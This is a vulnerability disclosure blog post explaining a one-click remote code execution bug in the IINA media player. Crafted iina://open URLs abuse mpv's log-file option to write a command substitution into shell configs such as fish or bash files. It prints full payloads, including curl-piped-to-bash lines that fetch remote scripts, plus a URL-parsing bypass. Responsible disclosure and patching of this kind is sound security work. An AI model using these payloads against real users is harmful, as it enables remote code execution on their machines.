An 8 year old vulnerability in the second most popular Swift open-source project.1

IINA RCE exploit

Last month, I discovered a trivially exploitable one-click remote code execution vulnerability in the media player that I’ve been using for the past 3 years. Today, I’m happy to say that the fix I’ve proposed after disclosing the issue to the maintainers has been included in the latest IINA release .

This post gives an overview of what caused the exploit and how it’s executed, a brief look at some of IINA’s internals, and the steps I took in finding the vulnerability.

It appears the issue has been present since at least 2018 (when IINA was still in beta), first introduced in a commit on September 1st, 2018 and affected all versions since the IINA 1.0.0 Beta4 release.

IINA’s mpv backend

To understand how the exploit works, we first need a high-level understanding of how IINA plays video content. In short, IINA uses mpv as its media player backend. Whenever IINA needs to start playing a file or URL, it calls on mpv’s loadfile commmand, as seen in the PlayerCore.swift class.

   // Send load file command
   info.justOpenedFile = true
   info.state = .loading
   mpv.command(.loadfile, args: [path], level: .verbose)

To control playback, IINA calls mpv’s C API , which exposes the embedded equivalent to mpv’s CLI args through the mpv_set_option_string function.

This triggers things such as opening the video in full screen, setting an initial volume, adjusting subtitle delay etc. These are features you’d expect to see in any video player, and the way IINA handles this is fine. A parsing oversight around these mpv options is what enabled the exploit, as we’ll see next.

IINA playback URLs

There is one more background detail that should be covered: IINA’s custom URL scheme handler.

IINA has the option of being started from the browser by opening links prefixed with iina://open. This makes playing online media very convenient, as you can just click ‘Open in IINA’ when prompted by your browser and the playback will start. 2

Alongside the actual media URL (which eventually ends up in mpv’s loadfile ), additional mpv options can be passed in the form of URI query strings (prefixed with mpv_). As mentioned before, these are equivalent to passing arguments to mpv’s CLI.

iina://open?url=<media-url-here>&mpv_sub-speed=0.5

IINA’s playback URL handler unpacks these options and sends them off to mpv_set_property_string . Up until v1.4.2 , the parsed options were directly passed through without filtering, which allowed for code execution through the mpv_input-commands option. That vulnerability was disclosed on May 19, 2026 and quickly patched in v1.4.3 .

However, the fix simply blocked off the offending input-commands option, without accounting for other attacks that might be achieved through the remaining options:

      // mpv options
      for query in queries {
        if query.name.hasPrefix("mpv_") {
          let mpvOptionName = String(query.name.dropFirst(4))
          // this guard is what the fix added
          guard !mpvOptionName.contains("input-command") else {
            Logger.log("mpv option \(mpvOptionName) rejected when parsing URL", level: .warning)
            continue
          }
          guard let mpvOptionValue = query.value else { continue }
          Logger.log("Setting \(mpvOptionName) to \(mpvOptionValue)")
          player.mpv.setString(mpvOptionName, mpvOptionValue)
        }
      }

I had a feeling that there would be some other exploit waiting to be found, as all the other mpv options (there’s a lot of them!) were still being passed through without validation.

The exploit

While scrolling through the options list (ignoring the countless harmless options), I came upon log-file , which looked quite promising:

Opens the given path for writing, and print log messages to it. Existing files will be truncated. The log level is at least -v -v, but can be raised via –msg-level (the option cannot lower it below the forced minimum log level).

This option was particularly promising for two reasons: 1) I could arbitrarily control where the logs are written; 2) logs are written by truncation, which means existing file permissions are preserved.

I soon realised the logs could be pointed towards executable files, with automatically sourced shell configs such as .bashrc, .zshrc, config.fish being obvious targets.

Of course, this would be pretty useless if I could not introduce some form of arbitrary input into the contents of the logfile.

Looking through mpv’s generated log files revealed that the URL/file being opened by mpv is always logged:

// ^ some other logs above
[   7.031][v][cplayer] Set property: log-file="~/pentests/mpv-log2.log" -> 1
[   7.031][v][bdmv/bluray] Opening /some/random/url/here
[   7.031][v][file] Opening /some/random/url/here
[   7.031][e][file] Cannot open file '/some/media/url/here': No such file or directory
[   7.031][e][stream] Failed to open /some/random/url/here.
[   7.031][v][cplayer] Opening failed or was aborted: /some/random/url/here
[   7.031][v][cplayer] Running hook: main/on_load_fail
[   7.031][v][cplayer] finished playback, loading failed (reason 4)

We can see that mpv attempts to open the given resource in a few different ways, logs the failures for each, then quits. Since the media URL can be defined in the IINA playback URL , arbitrary (potentially malicious) URL strings can make their way into the logfile.

Going through mpv’s logging code reveals some generic log message sanitization logic, which unfortunately doesn’t do much for URLs. 3

Therefore, a malicious URL containing a command substitution could technically be written to an (automatically) executable file, triggering arbitrary remote code execution.

I attempted a simple command substitution:

iina://open?url=$(/usr/bin/curl https://evil-script.sh %7C bash)&mpv_log-file=~/.config/fish/conf.d/something.fish

(with %7C being the URL encoding of the pipe | character)

but was met with a URL is invalid error from IINA. Looking at IINA’s code, I tracked it down to the openURLString function inside PlayerCore.swift and saw that IINA has 2 ways of encoding URLs:

func openURLString(_ str: String) {
    if str.first == "/" {
      // the sanitization is skipped if it's assumed to be a local file
      // however, bypassing this is trivial
      openURL(URL(fileURLWithPath: str))
    } else {
      // (more code, see source for the full function)
      guard let url = URL(string: pstr) else {
        log("Cannot parse url for \(pstr)", level: .error)
        return
      }
      openURL(url)
    }
}

If the URL does not start with /, it falls into the 2nd branch, where it will be parsed with the new Foundation/URL initializer:

(…) Now, URL automatically percent- and IDNA-encodes invalid characters to help create a valid URL.

However, prefixing the URL with / ensures the deprecated initializer is used, which does not return nil on invalid URLs (like the one used in this example)

With this slight adjustment, I was able to go past the URL parsing error and have IINA attempt to start playback, which made mpv attempt opening the file and write the failure logs to my fish config.

The following fish “config” would then be automatically sourced the next time I’d start a new shell session (i.e. open a new terminal window/tab).

[   7.574][v][cplayer] mpv v0.40.0 Copyright © 2000-2025 mpv/MPlayer/mplayer2 projects
[   7.574][v][cplayer]  built on Sep 26 2025 03:31:07
[   7.574][v][cplayer] libplacebo version: v7.360.1
[   7.574][v][cplayer] FFmpeg version: 8.0
[   7.574][v][cplayer] FFmpeg library versions:
[   7.574][v][cplayer]    libavcodec      62.11.100
[   7.574][v][cplayer]    libavdevice     62.1.100
[   7.574][v][cplayer]    libavfilter     11.4.100
[   7.574][v][cplayer]    libavformat     62.3.100
[   7.574][v][cplayer]    libavutil       60.8.100
[   7.574][v][cplayer]    libswresample   6.1.100
[   7.574][v][cplayer]    libswscale      9.1.100
[   7.574][v][cplayer] Configuration: -Dbuildtype=release -Dhtml-build=disabled -Djavascript=enabled -Dlibmpv=true -Dlua=luajit -Dlibarchive=enabled -Duchardet=enabled -Dlibbluray=enabled -Dcplayer=false -Dmanpage-build=disabled -Dmacos-touchbar=disabled -Dmacos-media-player=disabled -Dmacos-cocoa-cb=disabled -Dsysconfdir=/opt/homebrew/etc/mpv-iina -Ddatadir=/opt/homebrew/Cellar/mpv-iina/HEAD-44ddf81/share/mpv-iina -Dprefix=/opt/homebrew/Cellar/mpv-iina/HEAD-44ddf81 -Dlibdir=/opt/homebrew/Cellar/mpv-iina/HEAD-44ddf81/lib -Dwrap_mode=nofallback
[   7.574][v][cplayer] List of enabled features: avfoundation bsd-fstatfs build-date cocoa coreaudio cplugins darwin ffmpeg gl gl-cocoa glob glob-posix gpl iconv javascript jpeg lcms2 libarchive libass libavdevice libbluray libdl libplacebo luajit mac-thread-name macos-10-15-4-features macos-11-3-features macos-11-features macos-12-features posix posix-shm rubberband rubberband-3 swift uchardet vector videotoolbox-gl videotoolbox-pl vk-khr-display vulkan zimg zimg-st428 zlib
[   7.574][v][cplayer] Set property: log-file="~/.config/fish/conf.d/evil.fish" -> 1
[   7.574][v][bdmv/bluray] Opening /$(/usr/bin/curl https://gist.githubusercontent.com/cartesian-plane/4d01735a82e7b62369273c66fc6499ed/raw/3f10332f86f8d579e4f475d2f878ba9b2d00202a/pwnd-poc.sh | bash)

When a new shell session starts, the command substitution will run, executing the remote code.

Although I use fish , I’ve also tested this exploit for bash and zsh. As command substitution has a relatively high expansion precedence , the exploit works identically in bash. For zsh, it fails to execute due to a parsing error caused by the [ 7.574][v][cplayer] log metadata (there’s probably a way around this, but I did not investigate further).

Of course, the unsuspecting user would not expect that his shell config has been replaced, making execution almost guaranteed.

Conclusion

After locally confirming the exploit, I contacted the maintainers on Telegram (they were quick to respond) and suggested the introduction of an allowlist for mpv options (which should prevent further attacks of this kind), which I’m glad to see has been included in the latest IINA 1.4.4 release , along with a security advisory on GitHub .

Below, you can find a video of the exploit in action.


  1. Based on the following GitHub ranking , after excluding the Swift language itself, and 2 other repositories that are just curated lists of other projects. ↩︎

  2. Of course, this assumes that the link you’re opening already is a iina://open URL. The IINA browser extension makes this slightly more convenient, as it will automatically convert generic non-IINA playback URLs for you. ↩︎

  3. I’ve notified the mpv maintainers about this on their IRC chat ↩︎